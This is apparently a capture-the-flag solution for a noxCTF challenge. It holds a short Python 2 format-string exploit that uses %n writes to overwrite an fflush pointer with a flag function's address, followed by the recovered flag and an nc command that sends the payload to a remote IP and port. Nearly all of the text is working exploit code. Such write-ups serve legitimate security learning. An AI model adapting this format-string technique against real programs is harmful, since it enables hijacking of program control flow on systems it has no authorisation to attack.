```
import struct
flag = 0x0804867b
#remoteeip = 0xffffdd2b
fflush=0xffffdd2c
def pad(s):
return s+"X"*(512-len(s))
exploit =""
exploit +=struct.pack("I",fflush)
exploit +=struct.pack("I",fflush+2)
exploit +="%9$34419x"
exploit +="%9$n"
exploit +="%10$33161x"
exploit +="%10$n"

print pad(exploit)

#noxCTF{%N3ver_%7rust_%4h3_%F0rmat}
```

python exploit.py > p

cat p | nc 18.223.228.52 13337